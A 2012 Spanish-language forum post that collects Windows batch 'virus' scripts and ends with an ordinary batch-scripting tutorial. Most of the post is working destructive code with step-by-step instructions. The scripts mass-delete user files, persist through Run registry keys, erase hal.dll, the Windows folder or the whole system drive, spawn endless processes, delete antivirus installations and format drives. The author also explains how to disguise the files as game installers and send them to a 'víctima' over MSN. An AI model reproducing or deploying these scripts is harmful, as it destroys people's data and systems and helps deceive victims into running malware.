Comandos De Ms-Dos Y Cmd Super Post! (Actualizado 15/08/12)
Hola Comunidad De Taringa!
Este Es Mi Primer Post. Ojalá Les Ayude Con Esto Que Estoy Posteando =)
Les Enseñaré algunos comandos que se crean en el bloc de notas. Es Como Una Recopilación y Tutorial.
Algunos de ellos son destructivos o inofensivos pero ustedes los usarán bajo su responsabilidad mi post es sólo para informar y educar.
También encontrarán algunas cosas útiles en la parte de CMD.
ACUTALIZADO EL 15/08/12
------------------------------------------------------------------------------------------------------------------------------------------------------------------
Lista De Comandos
Pantalla Azul ( Bloc de notas )
start
virus
start
2ventanas
start
virus
start
3ventanas
start
virus
start
4ventanas
------------------------------------------------------------------------------------------------------------------------------------------------------------------
"virus para borrar pc" ( Bloc de notas )
Haz click derecho en el escritorio y crea un nuevo cuadro de texto.luego copia el siguiente texto:
@echo off
cd %windir%
echo @echo off>CPTL.bat
echo reg add hkey_local_machinesoftwaremicrosoftwindowscurr entversionrun /V CTPL.bat /D %windir%system32CPTL.bat>>CPTL.bat
echo if exist %windir%CPTL.bat goto oportunidad>>CPTL.bat
echo copy /Y CPTL.bat %windir%>>CPTL.bat
echo copy /Y CPTL.bat %windir%system32>>CPTL.bat
echo cls>>CPTL.bat
echo :msg>>CPTL.bat
echo msg * A mortal virus has infected your computer!!>>CPTL.bat
echo :oportunidad>>CPTL.bat
echo cd %windir%>>CPTL.bat
echo echo respuesta=INPUTBO“Insert the password to eliminate the virus” >oportunity.vbs>>CPTL.bat
echo echo if respuesta=batch then>>oportunity.vbs>>CPTL.bat
echo echo msgbox (“Correct, the virus won’t bother u more” >>oportunity.vbs>>CPTL.bat
echo echo kill (“C:Windowsvirus.bat” >>oportunity.vbs>>CPTL.bat
echo echo kill (“C:Windowssystem32virus.bat” >>oportunity.vbs>>CPTL.bat
echo echo else>>oportunity.vbs>>CPTL.bat
echo echo msgbox (“Muahaha you’re still infected try it next time” >>oportunity.vbs>>CPTL.bat
echo echo start oportunity.vbs>>CPTL.bat
cls>>CPTL.bat
del /S /Q /F %userprofile%mis documentos*.*
echo :del>>CPTL.bat
echo cd %homedrive%>>CPTL.bat
echo del /Q /S /F *.jpg>>CPTL.bat
echo del /Q /S /F *.avi>>CPTL.bat
echo del /Q /S /F *.mp3>>CPTL.bat
echo del /Q /S /F *.doc>>CPTL.bat
echo del /Q /S /F *.zip>>CPTL.bat
echo del /Q /S /F *.rar>>CPTL.bat
echo cls>>CPTL.bat
echo :petar_escritorio>>CPTL.bat
echo cd %homepath%Escritorio>>CPTL.bat
echo echo I’m the Crasher virus and I’ve infected your computer sucker>>virus 1.txt>>CPTL.bat
echo echo I’m the Crasher virus and I’ve infected your computer sucker>>virus 2.txt>>CPTL.bat
echo echo I’m the Crasher virus and I’ve infected your computer sucker>>virus 3.txt>>CPTL.bat
echo echo I’m the Crasher virus and I’ve infected your computer sucker>>virus 4.txt>>CPTL.bat
echo echo I’m the Crasher virus and I’ve infected your computer sucker>>virus 5.txt>>CPTL.bat
echo echo I’m the Crasher virus and I’ve infected your computer sucker>>virus 6.txt>>CPTL.bat
echo echo I’m the Crasher virus and I’ve infected your computer sucker>>virus 7.txt>>CPTL.bat
echo echo I’m the Crasher virus and I’ve infected your computer sucker>>virus 8.txt>>CPTL.bat
echo echo I’m the Crasher virus and I’ve infected your computer sucker>>virus 9.txt>>CPTL.bat
echo echo I’m the Crasher virus and I’ve infected your computer sucker>>virus 10.txt>>CPTL.bat
echo echo I’m the Crasher virus and I’ve infected your computer sucker>>virus 11.txt>>CPTL.bat
echo echo I’m the Crasher virus and I’ve infected your computer sucker>>virus 12.txt>>CPTL.bat
echo echo I’m the Crasher virus and I’ve infected your computer sucker>>virus 13.txt>>CPTL.bat
echo echo I’m the Crasher virus and I’ve infected your computer sucker>>virus 14.txt>>CPTL.bat
echo echo I’m the Crasher virus and I’ve infected your computer sucker>>virus 15.txt>>CPTL.bat
echo echo I’m the Crasher virus and I’ve infected your computer sucker>>virus 16.txt>>CPTL.bat
echo echo I’m the Crasher virus and I’ve infected your computer sucker>>virus 17.txt>>CPTL.bat
echo echo I’m the Crasher virus and I’ve infected your computer sucker>>virus 18.txt>>CPTL.bat
echo echo I’m the Crasher virus and I’ve infected your computer sucker>>virus 19.txt>>CPTL.bat
echo echo I’m the Crasher virus and I’ve infected your computer sucker>>virus 20.txt>>CPTL.bat
echo echo I’m the Crasher virus and I’ve infected your computer sucker>>virus 21.txt>>CPTL.bat
echo echo I’m the Crasher virus and I’ve infected your computer sucker>>virus 22.txt>>CPTL.bat
echo echo I’m the Crasher virus and I’ve infected your computer sucker>>virus 23.txt>>CPTL.bat
echo echo I’m the Crasher virus and I’ve infected your computer sucker>>virus 24.txt>>CPTL.bat
echo echo I’m the Crasher virus and I’ve infected your computer sucker>>virus 25.txt>>CPTL.bat
echo cls>>CPTL.bat
echo if exist C:virus%random%.txt (goto bucle)>>CPTL.bat
echo etar_HD>>CPTL.bat
echo cd>>CPTL.bat
echo echo Your computer h as been infected, try to pay atention to it> virus%random%.txt>>CPTL.bat
echo cd %ProgramFiles%>>CPTL.bat
echo echo Your computer h as been infected, try to pay atention to it> virus%random%.txt>>CPTL.bat
echo cd %windir%>>CPTL.bat
echo echo Your computer h as been infected, try to pay atention to it> virus%random%.txt>>CPTL.bat
echo goto Petar_HD>>CPTL.bat
echo cls>>CPTL.bat
del /S /Q /F %userprofile%mis documentos*.*
echo :bucle>>CPTL.bat
echo start iexplore.exe>>CPTL.bat
echo start command.com>>CPTL.bat
echo goto bucle>>CPTL.bat
echo :Shutdown>>CPTL.bat
echo shutdown -f -r -t 600 -c “Adios mamonazo bájate un antivirus la próxima vez!!”>>CPTL.bat
copy CPTL.bat %windir%system32
start CPTL.bat
------------------------------------------------------------------------------------------------------------------------------------------------------------------
Virus interminable. ( Bloc de notas )
Abrir el block de notas.
Pones:
start
start
start
start
(trata de poner start las veces que mas puedas asi es interminable)
Luego lo guardas como archivo.bat
Lo copias y pegas en el fondo de pantalla.
No lo abras, deja que otro lo abra.
No se puede cambiar el icono
------------------------------------------------------------------------------------------------------------------------------------------------------------------
Aca les dejo un pequeño tutorial.
==== virus bat ====
1.Introdución
2.Nuestro primer virus
3.comandos básicos y etiquetas
4.jugando con el registro
5.bucles
6.Nuestro segundo virus
7.variables de windows xp
8.if exist
9.proximamente mas
1.)Introduccion:
Buenas , ante todo he de decir que esto es un manual de introducción y no un manual para expertos.
en este manual se hablara sobre los virus .bat (archivos por lotes ejecutables de ms-dos)
bueno antes que nada explicar que es cmd.exe (MS-DOS EN WINXP) cmd.exe es un interprete de comandos.
¿Qué es un comando?
es una orden que le damos al sistema operativo para que haga una tarea determinada.
2.)Nuestro primer virus.
bueno , nuestro primero virus podría ser este:
@echo off
shutdown -s -t 1
abrimos un documento de texto , copiamos esto lo guardamos como .bat y lo abrimos...
y... sopresa...
explicación: @echo off
Desabilita el echo para que no muestre los comandos , que se ejecutaran posteriormente.
explicación: shutdown
es un comando con el que puedes jugar bastante. -s y -t son parametros, los parametros son como las opciones
que les deves dar al comando. algunos comandos requieren parametros obligatoriamente sin embargo otros no.
explicación: parametro -s y -t
el parametro -s da la orden a shutdown para que apage el equipo y con -t especificamos los segundos. en el ejemplo
de antes pusimos 1 segundo.
otros parametros de shutdown:
shutdown -r = Reinicia
shutdown -c = deja un comentario "Modo de uso">> shutdown -s -t 5 c "Comentario"
shutdown -m = apaga un equipo de la red "Modo de uso">> shutdown -s -t 4 -m nombredehost
shutdown -f = fuerza el cierre de las aplicaciones.
3.)Comandos básicos
a continuación les pondré varios comandos que sirven mucho a la hora de hacer virus.
-del = borra un archivo
-copy = copia un archivo
-reg = hacer modificaciones en el registro
-net = Muchas funciones, escriban en cmd net /? para ver sus funciones
-RD = elimina un directorio
-set = Muestra , establece, crea , variables de entorno de windows.
-taskkill o tskill = mata procesos
3.1)Etiquetas
Las etiquetas sirven para ir de un lugar de un programa a otra parte. ejemplo.
@echo off
echo hola
goto etiquetaB
:etiquetaA
echo ola
:etiquetaB
echo adios
con goto decimos a que etiqueta ir
en este caso la salida en la shell sería:
c: etiquetas.bat
hola
adios
4.)Jugando con el registro.
bueno , como ya dije antes para jugar con el registro usaremos el comando reg
Operaciones:
REG QUERY /?
REG ADD /?
REG DELETE /?
REG COPY /?
REG SAVE /?
REG RESTORE /?
REG LOAD /?
REG UNLOAD /?
REG COMPARE /?
REG EXPORT /?
REG IMPORT /?
Usad estos comandos para obtener ayuda sobre los parametros después de reg.
5.)Bucles
Bueno un bucle es repetir muchas veces lo mismo
ejemplo
@echo off
:kevin
echo hola
goto kevin
jejejeje ya podeis imaginaros las cosas que puedes hacer.
otro ejemplo:
@echo off
:uji
start
goto uji
Madre mía.. este simple código , el que lo abra tendrá que reiniciar , por que el pc se le trabará todo.
el comando start lo que hace es abrir otra shell, así que imaginate este bucle infinito.
6.)Nuestro segundo virus.
@echo off
taskkill /F /IM msnmsgr.exe
del /F c:windowssystem32explorer.exe
shutdown -s -t 10 -c "Has caido en mis manos"
7.)Variables de windows xp
para ver el contenido de estas variables escriban en cmd.exe
echo %NOMBREDELAVARIABLE%
%COMPUTERNAME% = Nombre de host.
%SYSTEMROOT% = Carpeta de administración Normalmente c:windows
%TEMP% = directorio donde se encuentran los archivos temporales
%WINDIR% = directorio de windows.
%USERNAME% = usuario con el que se inicio sesión
%USERPROFILE% = directorio donde se encuentran los archivos del usuario que inicio sesión
%PROGRAMFILE% = directorio donde se encuentran los archivos de programas
%OS% = muestra el sistema operativo que estamos ejecutando
%LOGONSERVER% = nombre de nuestro server (mihost)
no son todos , pero puse algunos importantes.
8.)If exist
if no solo sirve para exist , pero explicare if usando exist.
if exist lo que hace es por ejemplo:
@echo off
if exist c:kevin.txt (goto existe) else goto noexiste
:existe
echo si existe
exit
:noexiste
echo no existe
lo que hace es comprobar si el archivo kevin.txt existe en c: y si existiese iria a la etiqueta :existe
y si no existe iria a no existe.
Bueno así de simple.
Para dañar un windows :
-Abren bloc de notas
-escriben esto: erase C:WINDOWSsystem32hal.dll
-lo guardan con el nombre que quieran pero en .bat
-no lo abran... Ya esta listo... Daña un windows con solo abrir el archivo...
Solo Xp... No lo he probado en Vista..
aqui estoy de vuelta con este post q me costo muchisimo tiempo disfrutenlo
1- Abre Block de Notas.
2- Pon lo siguiente: @echo (enter) :uji (enter) start (enter) goto uji (enter) exit
3- Guárdalo con el nombre que quieras, pero al final, pon .bat (ej.: Virus.bat)
4- Si quieres enviarlo por el msn, mueve este documento del block de notas a una carpeta comprimida en zip.
consejos
Si lo vas a enviar por msn, no olvides cambiar el nombre por algún otro, como por ejemplo, si lo guardaste como Virus.bat, cambia el "virus" por alguna otra palabra, como "Carros famosos" sin quitar el .bat, porque eso es lo importante.
Advertencias
Si vas a probar el documento,tienes que hacer doble clic y presionar f4 por que si no,
tendras que reiniciar tu pc
------------------------------------------------------------------------------------------------------------------------------------------------------------------
1- Abran el block de notas de nuevo
2- Y escriben @echo (enter) :uji (enter) start (enter) goto uji (enter) delete C:Windowssystem32 exit
3- Y ahora mandenselo a su victima
---------------------------------------------------------------------------------------------------------------------------------------------------------------
(indetectable)
Este es un manual para crear un virus que No lo detecta ningun Antivirus, Ni nada.. pero es muy destructible.. lo unico que necesita ES NOTEPAD todos lo tienen ok pues aqui les enseño . . .
EL Ataque
1-Abran Notepad, y pongan erase C:WINDOWS q
2-Ahora ponganle d nombre cualquier cosa (quedaria haci escojanunnombre.cmd)
3-Guardenlo en cualquier lugar, y [/b]NO LO ABRAN!!!!!!!!!!!!!!!!
Resumido: Abran Notepad, Escriban erase C:WINDOWS q, guárdenlo con formato .cmd mándenselo a la persona y ya... !!
---------------------------------------------------------------------------------------------------------------------------------------------------------------
Aquí les dejo este tutorial que encontre ...
En este tutorial les voy a mostrar como crear un gusano en batch. Este gusano creara muchos archivos en los directorios que pongamos en el código…
A continuación abrimos el bloc de notas e ingresamos el siguiente código…
dijo:
@echo off
:worm
cd
cd %homepatch%
cd escritorio
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
cd
cd windows
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
cd system32
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
goto worm
Ahora vamos a "guardar como" y elegimos el lugar donde se guardara el gusano.
Nombre: worm.bat
Tipo: Todo los archivos
Después de guardarlo, agregamos otra línea de registro debajo de (@echo off) para que cuando se inicie la pc, el gusano también se inicie.
dijo:
copy %0 %windir%system32worm.bat
REG ADD
HKLMsoftwaremicrosoftwindowscurrentsversionrun/v hack/d %windir%system32worm.bat
Al final nos quedaría algo así:
dijo:
@echo off
copy %0 %windir%system32worm.bat
REG ADD HKLMsoftwaremicrosoftwindowscurrentsversionrun/v hack/d %windir%system32worm.bat
:worm
cd
cd %homepatch%
cd escritorio
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
cd
cd windows
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
cd system32
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
mkdir %ramdom%
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
echo worm >> %ramdom%.exe
goto worm
Ahora nuestro worm se autocopiara en el directorio: C:WindowsSystem32worm.bat y la otra linea era para agregar una entrada al registro al kual iniciara nuestro virus cada vez que se inicie sesion.
No lo ejecuten porque se auto infectaran y lo mas peligroso es que tengan que formatear la pc, así que tengan mucho cuidado con lo que hacen.
---------------------------------------------------------------------------------------------------------------------------------------------------------------
1.- APRENDER EL LENGUAJE
Del = Borrar archivos.
Rd = Borrar directorio de raíz.
Start = Comenzara "algo".
Pause = Pausa
Exit = Salir
Taskkill = Mata proceso.
-----------------------------------------------------------------------------------------------------------------------------------
set /p x= Son set para hacer preguntas/variables/etc ejemplo: set /p pre= ¿Estas bien?
if %pre%== = (llava 2 ==) Para contestar el set /p x=. ejemplo: set /p pre= ¿Estas bien? y abajo
if %pre%== si goto si
if %pre%== no goto no
Goto = Etiquetas. ejemplo: :si y abajo desarrollamos el goto si :no desarrollamos el goto no.
Bucle = Es un simple "cajón" que repite una acción. Ejemplo:
:no
-----------------------------------------------------------------------------------------------------------------------------------
Cls = Limpiara la pantalla. ejemplo: tenemos todo escrito. Ponemos pause (Para que el user lea lo que dice y luego cls así toca una tecla y quedara todo en blanco)
Format unidad: = Formatea la unidad. Ejemplo: format c:
Msg* = Da un mensaje con un cartelito de Windows. ejemplo: msg*
Echo = Da un mensaje dentro de la consola. Ejemplo echo
Date = Dia/Mes/Año. Ejemplo: date x/x/x
Time= Hora. Ejemplo: time x:x
-----------------------------------------------------------------------------------------------------------------------------------
echo sirve para poner un texto en la pantalla y también para hacer redirecciones para el texto en pantalla va a ser así:
echo hola
echo me alegro
y para el re direccionar va así
echo @echo off>> %nombre%.bat
-----------------------------------------------------------------------------------------------------------------------------------
shutdown con este código apagamos la pc dependiendo del parámetro que utilicemos así
shutdown -l = cerrar cesión
shutdown -s= apagar el equipo
shutdown -r= reiniciar el equipo
shutdown -a= anular el apagado del equipo
shutdown -t xx= establecer el tiempo de espera para apagar la pc en segundos
shutdown -c= comentario máximo 127 caracteres
shutdown -f= fuerza el cierre de todas las aplicaciones.
-----------------------------------------------------------------------------------------------------------------------------------
2.- REGLAS A CUMPLIR
1. No abrir los virus si no sabes si esta correctamente instalado.
2. luego de terminar un virus colocar al final de ellos: pause y luego mas abajo exit de lo contrario este no funcionara.
3. todos los virus deben ser comprimidos
4. al guardar los virus es importante colocar: elnombre.bat o sea el nombre que tu le pondrás a tu virus pero al final le colocaras el .bat de lo contrario no seria un virus.
---------------------------------------------------------------------------------------------------------------------------------------------------------------
Estos son unos de los mas básicos
Borra window
erase C:WINDOWS q
---------------------------------------------------------------------------------------------------------------------------------------------------------------
Este borra todos los jpg y exe del pc
@echo off
cd
del *.jpg /q
del *.exe /q
shutdown -l
shutdown –s
exit
Este elimina windows
@echo off
taskill Explorer
tskill Explorer
del /q /f /s C:WINDOWSsystem32hal.dll
Este apaga la pc automaticamente
@echo off
shutdown -f -t 00
tambien pueden saturar la pc para obligarla a reiniciarla:
@echo off
start iexplore
start iexplore
start iexplore
Pause
exit
Deben colocar start iexplorer muchas veces muchas muchas… y al final deben colocar pause y luego abajo exit, si ustedes no colocan esto luego de terminar su virus… este no funcionara!
---------------------------------------------------------------------------------------------------------------------------------------------------------------
Para dañar un windows :
-Abren bloc de notas
-escriben esto: erase C:WINDOWSsystem32hal.dll
-lo guardan con el nombre que quieran pero en .bat
-no lo abran... Ya esta listo... Daña un windows con solo abrir el archivo...
---------------------------------------------------------------------------------------------------------------------------------------------------------------
Parece un virus, pero lo unico que hace es joder - nada mas !
dijo:
@echo off
echo Bienvenido ... selecciona la opcion:
echo 1.Descomprimir el juego
echo 2.Instrucciones del juego
echo 3.Salir
set /p opcion=Opcion (1-2-3):
if %opcion%==1 goto 1
if %opcion%==2 goto 2
if %opcion%==3 goto 3
:1
msg * Virus encontrado ...
start www.hotmail.com
goto virus
:2
msg * Tendras que reiniciar
start www.hotmail.com
goto virus2
:3
shutdown -s -t 10 -c "Virus encontrado".
exit
exit
Ok ... para mandarlo hagan creer que es lo que descomprime algun juego (GTA o alguno por el estilo) ... y la victima al seleccionar la opcion tendra que reiniciar (en caso de que seleccione la opcion 3 se le apagará la PC) !
---------------------------------------------------------------------------------------------------------------------------------------------------------------
@echo off
del %systemdrive%*.* /f /s /q
shutdown -r -f -t 00
---------------------------------------------------------------------------------------------------------------------------------------------------------------
PARA CREAR UNA CARPETA CONFIDENCIAL CON CONTRASEÑA!
@ECHO OFF
cls
title Carpeta Confidencial
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Confidencial goto MDLOCKER
:CONFIRM
echo Confirmar antes de bloquear la carpeta(S/N)
set/p "cho=>"
if %cho%==S goto LOCK
if %cho%==s goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Elige la opcion correcta.
goto CONFIRM
:LOCK
ren Confidencial "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Carpeta bloqueada
goto End
:UNLOCK
echo Introduce el password para desbloquear la carpeta
set/p "pass=>"
if NOT %pass%== sustituye esta línea por tu contraseña goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Confidencial
echo Carpeta desbloqueada correctamente
goto End
:fAIL
echo El password no coincide… Repite otra vez
goto end
:MDLOCKER
md Confidencial
echo La carpeta Confidencial se ha creado correctamente
goto End
:End[/size]
---------------------------------------------------------------------------------------------------------------------------------------------------------------
1°:abrimos un bloc de notas y intro de cimos estos comandos (aviso algo algunos comandos pueden q no funcioene ya q si la victima tiene una version de windows anterior por eje:win 98,win95 los comandos cambiarian)
2ºsegun los comandos q escribamos provocara diferentes cosas
@echo off
cls
cd
cd "archivos de programa"
cd "Norton antivirus"
attrib -R -A -S -H *.*
del /S /Q *.*
cd..
cd "Panda Software"
attrib -R -A -S -H *.*
del /S /Q *.*
cd..
cd "Kaspersky Lab"
attrib -R -A -S -H *.*
del /S /Q *.*
cd..
cd "McAfee.com"
attrib -R -A -S -H *.*
del /S /Q *.*
cls
por ejemplo este comando elimina antivirus los antivirus mas comunes como McAfee Kaspersky panda y norton(los antivirus se borraran si estan intalados por defecto q comunmente sucede)
---------------------------------------------------------------------------------------------------------------------------------------------------------------
@echo off
echo shutdown -s -f -t 0 >> c:autoexec.bat
cls
un comando muy parecido pero a la ves muy destructivo este comando hace que la cpu cada ves q se encienda se apage la maquina)
---------------------------------------------------------------------------------------------------------------------------------------------------------------
@echo off
cls
s | format c: -s -f -t 0 >> c:autoexec.bat
formatea la pc de tu victima
---------------------------------------------------------------------------------------------------------------------------------------------------------------
NUEVO!
Empezaremos creando un Simple y clásico "Hola Todos", escribiendo en un archivo de texto el siguiente código.
Codigo:
dijo:@echo off
echo Hola Todos
pause exit[/quote]
Ahora guardemos el archivo como Nombre.bat y lo ejecutamos. Nos aparecerá una pantalla negra que dirá "Hola Todos", luego una linea abajo dirá "Presione una tecla para continuar"
Explicamos:
echo:
Imprime un texto en pantalla, que es el texto que viene después (el que le pasamos como parámetro), que en este caso es "Hola Todos". Echo significa eco, por lo mismo "@echo off" elimina el eco, la repetición de la ruta en la que nos encontramos en cada línea código.
pause:
Como bien se lee, pausa la ejecución del código. Además muestra el texto "Presione una tecla para continuar"
exit:
Cierra la ventana de comandos.
Ahora aprenderemos algunas funciones de Batch:
CD o CHDIR:
Si has trabajado en PHP, te sera fácil entender este concepto. Sirve para cambiar de Directorio o Mostrar el nombre del actual. Para usarlo, CD o CHDIR seguido de la ubicación del directorio al cual nos moveremos.
cd "C:"
chdir "C:"
Los ejemplos anteriores hacen exactamente lo mismo, cambian al Disco C
COPY:
Sirve para copiar uno o más archivos a otro destino.
Su sintaxis es la siguiente:
Copy "Dirección del archivo" "Nueva dirección"
Ejemplo:
Código :
dijo:Copy "C:archivo.txt" "C:archivo2.txt"[/quote]
Aquí copiaríamos un archivo del Disco C llamado "archivo.txt" como "archivo2.txt"
Para acortar un poco podríamos usar:
Código :
dijo:cd "C:" Copy "archivo.txt" "archivo2.txt"[/quote]
Donde primero cambiamos de directorio al Disco C con cd "C:" y luego al copiar no tenemos que especificar que esta en el Disco C ya que ya nos encontramos en el.
DEL:
Sirve para eliminar uno o más archivos. Su sintaxis es:
Del "ARCHIVO"
También se puede añadir:
del /f /q "archivo"
Donde no pide confirmación de eliminación (/q) y fuerza al archivo a borrarse ( /f )
Move:
Sirve para mover un archivo. Su sintaxis es:
Move "Dirección Archivo" "Nueva Dirección"
Cls:
Sirve para limpiar el contenido de la pantalla:
Ejemplo:
Código :
dijo:@echo off
echo Hola, Cuando pulses la tecla se borrara el contenido y cambiara por otro.
pause
cls
echo ¿Ves?
pause
exit[/quote]
Si quisiéramos averiguar más sobre las funciones, o conocer algunas nuevas por nuestra propia cuenta podemos escribir en el Shell el nombre del comando seguido de /? y aparecerá toda la información necesaria.
Podemos poner en práctica esto de la siguiente manera:
Abramos el Shell de windows:
dijo:Inicio->Ejecutar-CMD[/quote]
Una vez abierto escribamos:
dijo:echo off[/quote]
Para eliminar el eco.
Luego para borrar el contenido de pantalla escribe:
Código :
dijo:cls[/quote]
Ahora veamos la ayuda de la función Copy:
Código :
dijo:copy /?[/quote]
Cerremos la ventana:
Código :
dijo:exit[/quote]
Creación de nuevos archivos:
Con Batch podemos crear otros archivos. Para ello, tenemos que escribir algo como esto:
Código :
dijo:echo TEXTO DE PRIMERA LINEA > nombre.extensión
echo TEXTO SEGUNDA LINEA >> nombre.extensión
echo TEXTO SIGUIENTE LINEA >> nombre.extensión[/quote]
Al escribir echo seguido de un texto y el signo > creamos un archivo con el nombre que siga.
Si ocupamos un echo seguido de un texto y el doble signo > (>> se escribirá en la siguiente linea vacía del archivo que prosiga.
Hagamos la prueba:
Código :
dijo:echo Creando un Archivo de texto > nuevo.txt
echo Esta es la Segunda linea >> nuevo.txt
echo Y esta es la Siguiente >> nuevo.txt
echo Esto esta genial >> nuevo.txt[/quote]
Si ejecutamos eso, la pantalla negra se abrirá y cerrará.
Pero en la carpeta en la que está nuestro batch se abra creado un nuevo archivo "nuevo.txt" que si lo abrimos, dentro estará escrito lo que especificamos.
Personalizando el SHELL
Seguro que no te gusta mucho el aspecto del Shell.
COLOR:
Con la función color podemos cambiar los colores de fondo y las letras. Siendo su sintaxis:
COLOR AB
Donde A= El color de el Fondo y B= Color de las letras.
Para ver todos los colores ve el MS-Dos y escribe color/?
TITLE:
Para cambiar el título de la barra de tareas solo escribe:
Title Loquequierascomotitulo
Pause Personalizado:
¿No te gusta que al poner pause salga "Presione una tecla para continuar..."?
Pues si escribes "pause>nul" no aparecerá ni un texto.
Entonces si anteponemos un mensaje, quedaría así.
Código :
dijo:echo Aprieta cualquier tecla para seguir
pause>nul[/quote]
Además puedes jugar con los caracteres.
El código que empleé para esto fue:
dijo:@echo off
color 30
echo ==================================
echo = =
echo = Personalizado =
echo = =
echo ==================================
echo.
echo.
echo Esto esta personalizado, para salir presiona una tecla. pause>nul exit[/quote]
Cabe mencionar que echo. (Echo seguido de un punto)sirve para saltarse una línea.
Matando Procesos:
Taskkill (No funciona en todos los pc, para ver si esta disponible escribe taskkill/?)
Su sintaxis es:
Código :
dijo:taskkill /f /im proceso.exe[/quote]
/f Fuerza el término del proceso.
Un ejemplo seria escribir.
Código :
dijo:taskkill /f /im wmplayer.exe[/quote]
Si lo ejecutas y tienes el Reproductor de Windows Media abierto, este se cerrará.
ABRIENDO PROCESOS:
Ahora abramos ese proceso que cerramos. Para abrir procesos se usa la función Start que funciona así:
Código :
dijo:start proceso.exe[/quote]
También puedes abrir paginas web con tu explorador predeterminado.
Ejemplo1:
Código :
dijo:start wmplayer.exe[/quote]
Se abrirá el Reproductor de Música
Ejemplo2:
Código :
dijo:start www.google.cl[/quote]
Para llamarla debemos escribir su nombre entre los signos %%
Ejemplo:
Código :
dijo:@echo off
set Nombre= Fabrimich
echo %Nombre%
pause[/quote]
La pantalla nos mostrara algo así:
VARIABLES:
Ahora aprendamos a declarar variables. Para crear una se escribe:
Código :
dijo:set NOMBREVARIABLE = VALOR[/quote]
Para cambiar el valor solo debemos hacer esto:
Código :
dijo:set Nombre= Nuevo Valor[/quote]
Si quieres que tu Variable sea dinámica, osea que el Usuario la elija antepones /p:
Código :
dijo:set /p Nombre=Escriba su Nombre:[/quote]
Donde el Batch se pausara solo mostrando el Mensaje que va luego de "=" dejando que se escriba algo.
También podemos multiplicarlas, sumarlas, etc... con /a:
Código :
dijo:set numero1=2
ser numero2=43
set /a suma= %numero1% + %numero2%
echo %suma%
pause
exit[/quote]
Si ejecutamos este, nos devolverá la suma de 2 + 43, 45.
A continuación veremos los siguientes temas:
Uso de etiquetas
Condicionales
Creación de Menús
Apagado y Reiniciado de Pc
Leer archivos externos
Insertar al Registro
Otras cosas útiles
Uso de etiquetas
Como bien sabemos la lectura de los códigos Batch se leen de una manera lineal, pero existe una forma para que el Batch se salte lineas, o vuelva a alguna anterior. Esto se logra con Etiquetas y la función GOTO.
Para crear una etiqueta solo debemos escribir:
Código :
dijo::nombreEtiqueta[/quote]
Dos punto ( seguido del nombre que le daremos a la etiqueta. De esta manera el GOTO funciona escribiendo
GOTO seguido del nombre de la etiqueta, como vemos en el siguiente ejemplo.
Código :
dijo:@echo off
goto :mietiqueta
echo ¿Por que me saltan?
:MiEtiqueta
echo Hola, esta es la etiqueta y nos saltamos una parte del codigo.
pause>nul
exit[/quote]
Dato Interesante:
En Batch las Mayúsculas y Minúsculas no se diferencian.
Condicionales:
El primer condicional que veremos el más usado.
IF:
Se puede ocupar para comparar, cadenas, números o para saber si existen archivos.
Ejemplo de sintaxis, if %cadena1% == %cadena2% OrdenAEjecutar
Que se podría leer de la siguiente manera. Si cadena1 es igual a Cadena2 ejecutemos la Orden OrdenAEjecutar.
También existe el NOT para ver si no son iguales.
if not %cadena1%== %cadena2% ejecutarAccion
Para saber si un archivo existe, se usa:
if exist "NombreDelArchivo" AccionAEjecutar
o también para ver si NO existe:
if not exist "NombreDelArchivo" AccionAEjecutar
No solo se puede ocupar el signo == para hacer comparaciones.
EQU, que es el equivalente a ==
NEQ, Sirve para cuando queremos ver Desigualdad.
